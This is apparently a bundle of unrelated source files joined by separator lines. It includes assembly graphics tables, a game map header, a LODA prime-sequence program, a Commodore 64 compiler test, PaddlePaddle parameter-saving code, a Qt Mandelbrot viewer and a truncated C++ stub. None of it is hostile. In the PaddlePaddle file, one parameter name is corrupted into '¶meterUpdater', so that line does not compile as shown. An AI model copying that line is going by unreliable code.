DB $9C,$C3,$FF,$FF,$FF,$FF,$40,$08,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$40,$08,$01,$80,$00,$00,$00,$00,$01
DB $80,$00,$00,$00,$00,$01,$10,$08,$04,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$10,$08,$04,$80,$00,$00,$00,$00,$01
DB $80,$00,$00,$00,$00,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$80,$00,$00,$00,$00,$01
DB $80,$00,$00,$00,$00,$01,$00,$00,$00,$07,$82,$00,$08,$06,$20,$01,$80,$04,$60,$10,$00,$41,$E0,$00,$00,$00,$FF,$FF,$FF,$FF,$FF,$FF
DB $80,$00,$00,$00,$00,$01,$00,$06,$00,$30,$00,$08,$00,$04,$00,$61,$86,$00,$20,$00,$10,$00,$0C,$00,$60,$00,$FF,$FF,$FF,$FF,$FF,$FF
DB $80,$00,$00,$00,$00,$01,$00,$0F,$AA,$AA,$AA,$AA,$AA,$AA,$AA,$AA,$55,$55,$55,$55,$55,$55,$55,$55,$F0,$00,$FF,$FF,$FF,$FF,$FF,$FF
DB $FF,$FF,$FF,$FF,$FF,$FF,$00,$00,$00,$1E,$00,$00,$08,$00,$00,$01,$80,$00,$00,$10,$00,$00,$78,$00,$00,$00,$FF,$FF,$FF,$FF,$FF,$FF
DB $80,$00,$00,$00,$00,$01,$01,$C9,$C0,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$01,$C9,$C0,$80,$00,$00,$00,$00,$01 ; row 2
DB $B2,$C3,$92,$49,$24,$93,$40,$08,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$40,$08,$01,$80,$00,$00,$00,$7C,$39
DB $BE,$66,$00,$00,$00,$01,$18,$00,$0C,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$18,$00,$0C,$80,$00,$00,$00,$7C,$61
DB $9C,$7E,$00,$00,$00,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$80,$00,$00,$00,$00,$01
DB $B0,$7E,$00,$00,$00,$01,$00,$00,$00,$38,$04,$00,$10,$01,$40,$01,$80,$06,$80,$08,$00,$20,$1C,$00,$00,$00,$80,$00,$00,$00,$00,$81
DB $9C,$30,$00,$00,$00,$01,$00,$0C,$00,$40,$00,$10,$00,$04,$00,$11,$88,$00,$20,$00,$08,$00,$02,$00,$30,$00,$80,$00,$00,$00,$00,$81
DB $80,$00,$00,$00,$00,$01,$00,$06,$00,$00,$10,$00,$00,$80,$00,$01,$80,$00,$01,$00,$00,$08,$00,$00,$60,$00,$80,$00,$00,$00,$00,$81
DB $B8,$00,$00,$00,$00,$01,$00,$00,$00,$01,$E0,$00,$10,$00,$00,$01,$80,$00,$00,$08,$00,$07,$80,$00,$00,$00,$80,$00,$00,$00,$00,$81
DB $BE,$3C,$00,$00,$00,$01,$06,$08,$38,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$06,$08,$38,$80,$00,$00,$00,$3C,$79 ; row 3
DB $B2,$C3,$80,$01,$00,$03,$55,$55,$55,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$55,$55,$55,$80,$00,$00,$00,$62,$65
DB $B0,$66,$00,$00,$00,$01,$0C,$08,$18,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$0C,$08,$18,$80,$00,$00,$00,$66,$61
DB $B2,$18,$00,$00,$00,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$80,$00,$00,$00,$00,$01
DB $B0,$18,$00,$00,$00,$01,$00,$00,$01,$CA,$BA,$AA,$AA,$AA,$EA,$AA,$55,$57,$55,$55,$55,$5D,$53,$80,$00,$00,$80,$00,$00,$00,$00,$99
DB $B2,$30,$00,$00,$00,$01,$00,$08,$01,$80,$00,$20,$00,$08,$00,$05,$A0,$00,$10,$00,$04,$00,$01,$80,$10,$00,$80,$00,$00,$00,$00,$B9
DB $80,$00,$00,$00,$00,$01,$00,$01,$00,$00,$20,$00,$01,$00,$00,$01,$80,$00,$00,$80,$00,$04,$00,$00,$80,$00,$80,$00,$00,$00,$00,$B9
DB $BF,$F8,$00,$00,$00,$01,$00,$00,$00,$00,$1F,$AA,$AA,$AA,$AA,$AA,$55,$55,$55,$55,$55,$F8,$00,$00,$00,$00,$80,$00,$00,$00,$00,$A9
DB $B0,$7E,$00,$00,$00,$01,$0E,$08,$18,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$0E,$08,$18,$80,$00,$00,$00,$60,$65 ; row 4
DB $BE,$66,$00,$00,$00,$01,$40,$08,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$40,$08,$01,$80,$00,$00,$00,$62,$61
DB $BC,$66,$00,$00,$00,$01,$03,$00,$60,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$03,$00,$60,$80,$00,$00,$00,$66,$61
DB $B0,$18,$00,$00,$00,$01,$00,$00,$00,$00,$00,$00,$00,$0F,$FF,$FF,$FF,$FF,$F0,$00,$00,$00,$00,$00,$00,$00,$80,$00,$00,$00,$00,$01
DB $B0,$18,$00,$00,$00,$01,$00,$00,$06,$00,$20,$00,$40,$00,$A0,$01,$80,$05,$00,$02,$00,$04,$00,$60,$00,$00,$80,$00,$00,$00,$00,$B9
DB $B2,$30,$00,$00,$00,$01,$00,$1A,$AA,$AA,$AA,$EA,$AA,$BA,$AA,$AB,$D5,$55,$5D,$55,$57,$55,$55,$55,$58,$00,$80,$00,$00,$00,$00,$85
DB $80,$00,$00,$00,$00,$01,$00,$00,$C0,$00,$40,$00,$01,$00,$00,$01,$80,$00,$00,$80,$00,$02,$00,$03,$00,$00,$80,$00,$00,$00,$00,$85
DB $9F,$FE,$00,$00,$00,$01,$00,$00,$00,$00,$00,$FC,$20,$00,$00,$01,$80,$00,$00,$04,$3F,$00,$00,$00,$00,$00,$80,$00,$00,$00,$00,$A9
DB $BE,$66,$00,$00,$00,$01,$18,$08,$0C,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$18,$08,$0C,$80,$00,$00,$00,$3C,$65 ; row 5
DB $B2,$7E,$00,$00,$00,$01,$40,$08,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$40,$08,$01,$80,$00,$00,$00,$7C,$61
DB $B0,$66,$00,$00,$00,$01,$00,$FF,$80,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$FF,$80,$80,$00,$00,$00,$66,$61
DB $B0,$18,$00,$00,$00,$01,$00,$00,$00,$00,$00,$00,$3F,$F0,$08,$01,$80,$10,$0F,$FC,$00,$00,$00,$00,$00,$00,$80,$00,$00,$00,$00,$01
DB $B0,$18,$00,$00,$00,$01,$00,$00,$18,$00,$C0,$00,$80,$00,$18,$01,$80,$18,$00,$01,$00,$03,$00,$18,$00,$00,$80,$00,$00,$00,$00,$99
DB $BE,$30,$00,$00,$00,$01,$00,$10,$0C,$00,$00,$80,$00,$10,$00,$01,$80,$00,$08,$00,$01,$00,$00,$30,$08,$00,$80,$00,$00,$00,$00,$BD
DB $80,$00,$00,$00,$00,$01,$00,$00,$30,$00,$80,$00,$02,$00,$00,$01,$80,$00,$00,$40,$00,$01,$00,$0C,$00,$00,$80,$00,$00,$00,$00,$BD
DB $9F,$FE,$00,$00,$00,$01,$00,$00,$00,$00,$00,$03,$FC,$00,$00,$01,$80,$00,$00,$3F,$C0,$00,$00,$00,$00,$00,$80,$00,$00,$00,$00,$BD
DB $B0,$C3,$80,$01,$00,$03,$30,$08,$06,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$30,$08,$06,$C0,$00,$80,$01,$06,$7D ; row 6
DB $B2,$3C,$00,$00,$00,$01,$40,$00,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$40,$00,$01,$C0,$00,$80,$01,$66,$65
DB $B0,$66,$80,$01,$00,$03,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$C0,$00,$80,$01,$66,$61
DB $B2,$18,$80,$01,$00,$03,$00,$00,$00,$00,$00,$1F,$C1,$AA,$AA,$AA,$55,$55,$57,$83,$F8,$00,$00,$00,$00,$00,$80,$00,$00,$00,$00,$01
DB $B0,$18,$80,$01,$00,$03,$00,$00,$60,$01,$00,$01,$00,$01,$04,$01,$80,$20,$80,$00,$80,$00,$80,$06,$00,$00,$80,$00,$00,$00,$00,$99
DB $B2,$30,$80,$01,$00,$03,$00,$10,$18,$00,$01,$00,$00,$20,$00,$01,$80,$00,$04,$00,$00,$80,$00,$18,$08,$00,$80,$00,$00,$00,$00,$A1
DB $80,$00,$00,$00,$00,$01,$00,$00,$0E,$AB,$AA,$AA,$AE,$AA,$AA,$AA,$55,$55,$55,$75,$55,$55,$D5,$70,$00,$00,$80,$00,$00,$00,$00,$85
DB $BF,$F8,$00,$00,$00,$01,$00,$00,$00,$00,$00,$00,$03,$FF,$F0,$01,$80,$0F,$FF,$C0,$00,$00,$00,$00,$00,$00,$80,$00,$00,$00,$00,$89
DB $B0,$C3,$92,$49,$24,$93,$20,$08,$02,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$20,$08,$02,$C9,$24,$92,$49,$3C,$61 ; row 7
DB $80,$00,$00,$00,$00,$01,$60,$08,$02,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$60,$08,$02,$C9,$24,$92,$49,$66,$39
DB $B0,$3C,$92,$49,$24,$93,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$C9,$24,$92,$49,$7C,$7D
DB $9C,$18,$92,$49,$24,$93,$00,$00,$00,$00,$03,$E0,$02,$60,$10,$01,$80,$08,$06,$40,$07,$E0,$00,$00,$00,$00,$80,$00,$00,$00,$00,$01
DB $BE,$18,$92,$49,$24,$93,$00,$01,$AA,$AE,$AA,$AA,$AA,$AA,$AB,$AA,$55,$D5,$55,$55,$55,$55,$75,$55,$80,$00,$80,$00,$00,$00,$00,$99
DB $B2,$3E,$92,$49,$24,$93,$00,$10,$60,$00,$02,$00,$00,$20,$00,$01,$80,$00,$04,$00,$00,$40,$00,$06,$08,$00,$80,$00,$00,$00,$00,$BD
DB $80,$00,$00,$00,$00,$01,$00,$00,$03,$02,$00,$00,$04,$00,$00,$01,$80,$00,$00,$20,$00,$00,$00,$C0,$00,$00,$80,$00,$00,$00,$00,$B9
DB $B8,$00,$00,$00,$00,$01,$00,$00,$00,$00,$00,$00,$00,$00,$0F,$FF,$FF,$F0,$00,$00,$00,$00,$00,$00,$00,$00,$80,$00,$00,$00,$00,$89
DB $80,$C3,$FF,$FF,$FF,$FF,$60,$08,$03,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$60,$08,$03,$FF,$FF,$FF,$FF,$00,$61 ; row 8
DB $FF,$FF,$FF,$FF,$FF,$FF,$20,$00,$02,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$20,$00,$02,$FF,$FF,$FF,$FF,$00,$01
DB $80,$00,$FF,$FF,$FF,$FF,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$FF,$FF,$FF,$FF,$00,$01
DB $80,$00,$FF,$FF,$FF,$FF,$00,$00,$00,$00,$7D,$8A,$AE,$BA,$AA,$AA,$55,$55,$5D,$75,$51,$BE,$00,$00,$00,$00,$80,$00,$00,$00,$00,$01
DB $80,$00,$FF,$FF,$FF,$FF,$00,$03,$00,$08,$00,$04,$00,$02,$00,$81,$81,$00,$40,$00,$20,$00,$10,$00,$C0,$00,$FF,$FF,$FF,$FF,$FF,$FF
DB $80,$00,$FF,$FF,$FF,$FF,$00,$08,$C0,$00,$04,$00,$00,$40,$00,$01,$80,$00,$02,$00,$00,$20,$00,$03,$10,$00,$FF,$FF,$FF,$FF,$FF,$FF
DB $80,$00,$00,$00,$00,$01,$00,$00,$00,$E4,$00,$00,$08,$00,$00,$01,$80,$00,$00,$10,$00,$00,$27,$00,$00,$00,$FF,$FF,$FF,$FF,$FF,$FF
DB $FF,$FF,$FF,$FF,$FF,$FF,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$FF,$FF,$FF,$FF,$FF,$FF
ConsoleAttributes:
DB $07,$07,$07,$07,$07,$07,$45,$45,$45,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$41,$41,$41,$07,$07,$07,$07,$07,$07
DB $07,$07,$07,$07,$07,$07,$05,$45,$05,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$01,$41,$01,$07,$07,$07,$07,$07,$07
DB $07,$07,$07,$07,$07,$07,$45,$45,$45,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$41,$41,$41,$07,$07,$07,$07,$07,$07
DB $07,$07,$07,$07,$07,$07,$00,$00,$00,$00,$42,$42,$42,$42,$42,$42,$42,$42,$42,$42,$42,$42,$00,$00,$00,$00,$07,$00,$00,$00,$00,$07
DB $07,$07,$07,$07,$07,$07,$00,$02,$42,$42,$42,$42,$42,$42,$42,$42,$42,$42,$42,$42,$42,$42,$42,$42,$02,$00,$07,$07,$07,$07,$07,$07
DB $07,$07,$07,$07,$07,$07,$00,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$00,$07,$07,$07,$07,$07,$07
DB $07,$00,$00,$00,$00,$07,$00,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$00,$07,$07,$07,$07,$07,$07
DB $07,$07,$07,$07,$07,$07,$00,$00,$00,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$02,$00,$00,$00,$07,$07,$07,$07,$07,$07
|
CeladonDiner_h:
db LOBBY ; tileset
db CELADON_DINER_HEIGHT, CELADON_DINER_WIDTH ; dimensions (y, x)
dw CeladonDinerBlocks, CeladonDinerTextPointers, CeladonDinerScript ; blocks, texts, scripts
db $00 ; connections
dw CeladonDinerObject ; objects
|
#include <iostream>
#include <math.h>
using namespace std;
int main(){
int n=5;
for(int i=1; i<=n; i++){
for(int j=1; j<=i; j++){
cout<<j<<" ";
}
for(int j=i; j<n; j++){
cout<<"*"<<" ";
}
cout<<endl;
}
}
|
; A142204: Primes congruent to 7 mod 41.
; Submitted by Simon Strandgaard
; 7,89,499,827,991,1237,1319,1483,1811,2221,2467,2549,2713,3041,3533,3697,3779,3943,4271,4517,5009,5419,5501,6977,7879,8699,8863,9109,9437,9601,9929,10093,10667,10831,11159,11897,12143,12553,12799,13127,13291,13537,13619,14029,14767,15013,15259,16981,18047,18211,18457,18539,19031,19441,19687,20261,20507,20753,21163,21491,21737,22147,22229,22639,22721,23131,23459,23623,23869,24197,24443,25673,25919,26083,26821,26903,27067,28051,28297,28789,28871,29363,29527,30347,30593,30757,30839,31249,31741
mov $1,3
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $2,2
mov $3,$1
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,41
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mul $1,2
mov $0,$1
sub $0,81
|
// Tests pointer to pointer in a more complex setup
// Commodore 64 PRG executable file
.file [name="pointer-pointer-3.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(__start)
.label screen1 = $400
.label screen2 = $400+$28
.label screen = 4
.segment Code
__start: {
// byte* screen = (char*)$400
lda #<$400
sta.z screen
lda #>$400
sta.z screen+1
jsr main
rts
}
main: {
// setscreen(&screen, screen1)
lda #<screen1
sta.z setscreen.val
lda #>screen1
sta.z setscreen.val+1
jsr setscreen
// screen[0] = 'a'
lda #'a'
ldy #0
sta (screen),y
// setscreen(&screen, screen2)
lda #<screen2
sta.z setscreen.val
lda #>screen2
sta.z setscreen.val+1
jsr setscreen
// screen[0] = 'a'
lda #'a'
ldy #0
sta (screen),y
// }
rts
}
// void setscreen(char **screen, __zp(2) char *val)
setscreen: {
.label val = 2
// *screen = val
lda.z val
sta.z @screen
lda.z val+1
sta.z @screen+1
// }
rts
}
|
/* Copyright (c) 2016 PaddlePaddle Authors. All Rights Reserve.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License. */
#include "ParamUtil.h"
#include <fenv.h>
#include <stdio.h>
#include <iomanip>
#include <iostream>
#include <limits>
#include <sstream>
#include <google/protobuf/text_format.h>
#include <paddle/utils/Version.h>
#include "paddle/utils/GlobalConstants.h"
#include "paddle/utils/PythonUtil.h"
#include "paddle/utils/Stat.h"
#include "paddle/utils/Util.h"
#include "TesterConfig.h"
#include "paddle/gserver/gradientmachines/NeuralNetwork.h"
#include "paddle/gserver/layers/ValidationLayer.h"
namespace paddle {
ParameterUtil::ParameterUtil(
const std::shared_ptr<TrainerConfigHelper> &config,
std::unique_ptr<ParameterUtilConfig> &&intconfig,
const GradientMachinePtr &gradientMachine,
const std::shared_ptr<ParameterUpdater> ¶meterUpdater) {
config_ = config;
intConfig_ = std::move(intconfig);
gserver_ = gradientMachine;
pUpdater_ = parameterUpdater;
}
bool ParameterUtil::loadParameters(int passId, bool local, bool remote) {
constexpr int kBufLen = 100;
char buf[kBufLen];
snprintf(buf, kBufLen, "pass-%05d", passId);
std::string doneFile = path::join(config_->getSaveDir(), buf, "done");
if (!fileExist(doneFile.c_str())) return false;
loadParametersWithPath(path::join(config_->getSaveDir(), buf), local, remote);
return true;
}
void ParameterUtil::loadParametersWithPath(const std::string &dir,
bool local,
bool remote) {
if (local) {
gserver_->loadParameters(dir);
}
if (remote && pUpdater_) {
pUpdater_->loadParametersRemote(dir);
}
}
void ParameterUtil::saveParametersOnePass(int passId, int passInnerId) {
pUpdater_->apply();
saveParameters(passId, passInnerId);
if (intConfig_->save_only_one_ && passId >= intConfig_->saving_period_) {
deleteParameters(passId - intConfig_->saving_period_);
}
pUpdater_->restore();
}
void ParameterUtil::saveParameters(int passId, int passInnerId) {
constexpr int kBufLen = 100;
char buf[kBufLen];
if (passInnerId > 0) {
snprintf(buf, kBufLen, "pass-%05d-%03d", passId, passInnerId);
} else {
snprintf(buf, kBufLen, "pass-%05d", passId);
}
std::string basePath = config_->getSaveDir();
if (basePath.find('/') == std::string::npos) {
basePath = "./" + basePath;
}
mkDirRecursively(basePath.c_str());
std::string saveDir = path::join(basePath, buf);
mkDir(saveDir.c_str());
if (!intConfig_->load_save_param_pserver_) {
pUpdater_->getParametersRemote(true /*full parameter*/,
true /*after apply*/);
}
gserver_->saveParameters(saveDir);
if (intConfig_->load_save_param_pserver_) {
pUpdater_->saveParametersRemote(saveDir);
}
std::string doneFile = path::join(saveDir, "done");
touchFile(doneFile.c_str());
std::ofstream out(doneFile);
version::printVersion(out);
out.close();
VLOG(1) << "save dir " << saveDir;
saveConfigWithPath(saveDir);
}
void ParameterUtil::deleteParameters(int passId, int passInnerId) {
constexpr int kBufLen = 100;
char buf[kBufLen];
const std::string &saveDir = config_->getSaveDir();
if (passInnerId > 0) {
snprintf(buf,
kBufLen,
"%s/pass-%05d-%03d",
saveDir.c_str(),
passId,
passInnerId);
} else {
snprintf(buf, kBufLen, "%s/pass-%05d", saveDir.c_str(), passId);
}
mkDir(saveDir.c_str());
LOG(INFO) << "delete dir " << buf;
rmDir(buf);
}
void ParameterUtil::saveConfigWithPath(const std::string &path) {
std::string src;
// save config in some path
if (!intConfig_->config_.empty()) {
src = intConfig_->config_;
} else {
bool ok;
src = config_->getConfigName(&ok);
if (!ok) {
return;
}
}
copyFileToPath(src, path);
// save other import config file name to path.txt
std::string ss = path::join(path, "path.txt");
std::ofstream os(ss);
std::string fileName = path::basename(src);
CHECK(os.write(fileName.c_str(), fileName.length()))
<< "Fail to write config file name " << ss;
VLOG(1) << "fileName " << fileName;
os.close();
// copy other import config files
for (int i = 0; i < config_->getConfig().config_files_size(); ++i) {
copyFileToPath(config_->getConfig().config_files(i), path);
}
}
} // namespace paddle
|
#include <CQPMandelbrot.h>
#include <CMandelbrot.h>
#include <CPointFractal.h>
#include <CQUtil.h>
#include <CRGB.h>
#include <CTransform2D.h>
#include <QPainter>
#include <QMouseEvent>
CQPMandelbrot::
CQPMandelbrot(QWidget *parent) :
QWidget(parent), redraw_(true), rubber_band_(NULL)
{
setFocusPolicy(Qt::StrongFocus);
mandelbrot_ = new CMandelbrot;
max_iterations_ = 128;
show_vector_ = false;
xmin_ = mandelbrot_->getXMin();
ymin_ = mandelbrot_->getYMin();
xmax_ = mandelbrot_->getXMax();
ymax_ = mandelbrot_->getYMax();
for (uint i = 0; i < NUM_THREADS; ++i) {
threads_[i] = new CQPMandelbrotThread;
connect(threads_[i], SIGNAL(drawImageSignal(int,int,const QImage &)),
this, SLOT(drawImageSlot(int, int, const QImage &)));
}
}
CQPMandelbrot::
~CQPMandelbrot()
{
for (uint i = 0; i < NUM_THREADS; ++i)
delete threads_[i];
delete rubber_band_;
}
void
CQPMandelbrot::
resetRange()
{
xmin_ = mandelbrot_->getXMin();
ymin_ = mandelbrot_->getYMin();
xmax_ = mandelbrot_->getXMax();
ymax_ = mandelbrot_->getYMax();
redraw();
}
void
CQPMandelbrot::
setIterations(int iterations)
{
if (iterations != getMaxIterations()) {
setMaxIterations(iterations);
redraw();
}
}
void
CQPMandelbrot::
toggleShowVector()
{
setShowVector(! getShowVector());
redraw();
}
void
CQPMandelbrot::
selectionNotify(const QPoint &p1, const QPoint &p2)
{
int x = std::min(p1.x(), p2.x());
int y = std::min(p1.y(), p2.y());
int w = abs(p2.x() - p1.x());
int h = abs(p2.y() - p1.y());
QRect rect(x, y, w, h);
double wx1, wy1, wx2, wy2;
conv(rect.left (), rect.top (), &wx1, &wy1);
conv(rect.right(), rect.bottom(), &wx2, &wy2);
double canvas_xmin, canvas_ymin, canvas_xmax, canvas_ymax;
getRange(&canvas_xmin, &canvas_ymin, &canvas_xmax, &canvas_ymax);
double w1 = fabs(wx2 - wx1);
double h1 = fabs(wy2 - wy1);
double w2 = fabs(canvas_xmax - canvas_xmin);
double h2 = fabs(canvas_ymax - canvas_ymin);
double s = std::min(w1/w2, h1/h2);
double xc = 0.5*(wx2 + wx1);
double yc = 0.5*(wy2 + wy1);
w2 *= s;
h2 *= s;
canvas_xmin = xc - 0.5*w2;
canvas_ymin = yc - 0.5*h2;
canvas_xmax = xc + 0.5*w2;
canvas_ymax = yc + 0.5*h2;
setRange(canvas_xmin, canvas_ymin, canvas_xmax, canvas_ymax);
redraw();
}
void
CQPMandelbrot::
paintEvent(QPaintEvent *)
{
if (redraw_) {
resizeEvent(NULL);
redraw_ = false;
}
QPainter painter(this);
painter.drawImage(QPoint(0, 0), qimage_);
}
void
CQPMandelbrot::
resizeEvent(QResizeEvent *)
{
uint pwidth = width ();
uint pheight = height();
qimage_ = QImage(pwidth, pheight, QImage::Format_ARGB32);
uint pwidth1 = pwidth /NUM_SPLITS;
uint pheight1 = pheight/NUM_SPLITS;
double dwidth = xmax_ - xmin_;
double dheight = ymax_ - ymin_;
double dwidth1 = dwidth /NUM_SPLITS;
double dheight1 = dheight/NUM_SPLITS;
px_[0 ] = 0;
px_[NUM_SPLITS] = pwidth - 1;
dx_[0 ] = xmin_;
dx_[NUM_SPLITS] = xmax_;
for (uint x = 1; x < NUM_SPLITS; ++x) {
px_[x] = px_[x - 1] + pwidth1;
dx_[x] = dx_[x - 1] + dwidth1;
}
py_[0 ] = 0;
py_[NUM_SPLITS] = pheight - 1;
dy_[0 ] = ymin_;
dy_[NUM_SPLITS] = ymax_;
for (uint y = 1; y < NUM_SPLITS; ++y) {
py_[y] = py_[y - 1] + pheight1;
dy_[y] = dy_[y - 1] + dheight1;
}
for (uint y = 0; y < NUM_SPLITS; ++y) {
uint y1 = NUM_SPLITS*y;
for (uint x = 0; x < NUM_SPLITS; ++x) {
int i = y1 + x;
threads_[i]->init(px_[x], py_[y], px_[x + 1], py_[y + 1],
dx_[x], dy_[y], dx_[x + 1], dy_[y + 1],
max_iterations_);
}
}
transform_.setFrom(0, 0, pwidth - 1, pheight - 1);
transform_.setTo (xmin_, ymin_, xmax_, ymax_);
}
void
CQPMandelbrot::
mousePressEvent(QMouseEvent *event)
{
press_pos_ = event->pos();
if (event->button() == Qt::LeftButton)
updateRubberband(press_pos_, press_pos_);
}
void
CQPMandelbrot::
mouseMoveEvent(QMouseEvent *event)
{
updateRubberband(press_pos_, event->pos());
}
void
CQPMandelbrot::
mouseReleaseEvent(QMouseEvent *event)
{
if (event->button() == Qt::LeftButton) {
updateRubberband(press_pos_, event->pos());
selectionNotify(press_pos_, event->pos());
rubber_band_->hide();
}
}
void
CQPMandelbrot::
updateRubberband(const QPoint &p1, const QPoint &p2)
{
if (rubber_band_ == NULL)
rubber_band_ = new QRubberBand(QRubberBand::Rectangle, this);
int w = abs(p2.x() - p1.x());
int h = abs(p2.y() - p1.y());
if (w > 2 && h > 2) {
int x = std::min(p1.x(), p2.x());
int y = std::min(p1.y(), p2.y());
rubber_band_->setGeometry(x, y, w + 1, h + 1);
rubber_band_->show();
}
else
rubber_band_->hide();
}
void
CQPMandelbrot::
drawImageSlot(int x, int y, const QImage &image)
{
QPainter painter(&qimage_);
painter.drawImage(x, y, image);
update();
}
void
CQPMandelbrot::
conv(double px, double py, double *wx, double *wy)
{
transform_.conv(px, py, wx, wy);
}
void
CQPMandelbrot::
iconv(double wx, double wy, double *px, double *py)
{
transform_.iconv(wx, wy, px, py);
}
void
CQPMandelbrot::
redraw()
{
//for (uint i = 0; i < NUM_THREADS; ++i) threads_[i]->abort();
redraw_ = true;
update();
}
//------
CQPMandelbrotThread::
CQPMandelbrotThread()
{
restart_ = false;
abort_ = false;
finished_ = false;
}
CQPMandelbrotThread::
~CQPMandelbrotThread()
{
mutex_.lock();
abort_ = true;
condition_.wakeOne();
mutex_.unlock();
wait();
}
void
CQPMandelbrotThread::
init(int pixel_xmin, int pixel_ymin, int pixel_xmax, int pixel_ymax,
double xmin, double ymin, double xmax, double ymax,
uint max_iterations)
{
pixel_xmin_ = pixel_xmin;
pixel_ymin_ = pixel_ymin;
pixel_xmax_ = pixel_xmax;
pixel_ymax_ = pixel_ymax;
xmin_ = xmin;
ymin_ = ymin;
xmax_ = xmax;
ymax_ = ymax;
max_iterations_ = max_iterations;
int pwidth = pixel_xmax_ - pixel_xmin_ + 1;
int pheight = pixel_ymax_ - pixel_ymin_ + 1;
qimage_ = QImage(pwidth, pheight, QImage::Format_ARGB32);
finished_ = false;
if (! isRunning())
start();
else {
restart_ = true;
condition_.wakeOne();
}
}
void
CQPMandelbrotThread::
run()
{
forever {
transform_.setFrom(pixel_xmin_, pixel_ymin_, pixel_xmax_, pixel_ymax_);
transform_.setTo (xmin_, ymin_, xmax_, ymax_);
uint pixel_width = pixel_xmax_ - pixel_xmin_ + 1;
uint pixel_height = pixel_ymax_ - pixel_ymin_ + 1;
if (pixel_width > x_store_.size())
x_store_.resize(pixel_width);
if (pixel_height > y_store_.size())
y_store_.resize(pixel_height);
double dummy;
for (int x = pixel_xmin_, xx = 0; x <= pixel_xmax_; ++x, ++xx)
transform_.conv(x, 0, &x_store_[xx], &dummy);
for (int y = pixel_ymin_, yy = 0; y <= pixel_ymax_; ++y, ++yy)
transform_.conv(0, y, &dummy, &y_store_[yy]);
mandelbrot_.setRange(xmin_, ymin_, xmax_, ymax_);
mandelbrot_.initCalc(pixel_xmin_, pixel_ymin_, pixel_xmax_, pixel_ymax_,
xmin_, ymin_, xmax_, ymax_, max_iterations_);
for (int y = pixel_ymin_, yy = 0; y <= pixel_ymax_; ++y, ++yy) {
if (restart_) break;
if (abort_ ) return;
double ry = y_store_[yy];
for (int x = pixel_xmin_, xx = 0; x <= pixel_xmax_; ++x, ++xx) {
if (restart_) break;
if (abort_ ) return;
double rx = x_store_[xx];
int color = mandelbrot_.calc(rx, ry, max_iterations_);
const CRGBA &rgba = colors_.getColor(color);
qimage_.setPixel(QPoint(xx, yy), CQUtil::rgbaToInt(rgba));
}
}
finished_ = true;
if (! restart_)
emit drawImageSignal(pixel_xmin_, pixel_ymin_, qimage_);
//------
// wait for next data to become available
mutex_.lock();
if (! restart_)
condition_.wait(&mutex_);
restart_ = false;
mutex_.unlock();
}
}
|
#include <algorithm>
#include <cassert>
#include <cctype>
#include <cstddef>
#include <fstream>
#include <iostream>
#include <string>
int main(const int argc, const char* const argv[])
{
// Getting away with no error checking throughout because CodeEval makes some
// strong guarantees about our runtime environment. No need to pay when we're
// being benchmarked. Don't forget to define NDEBUG prior to submitting!
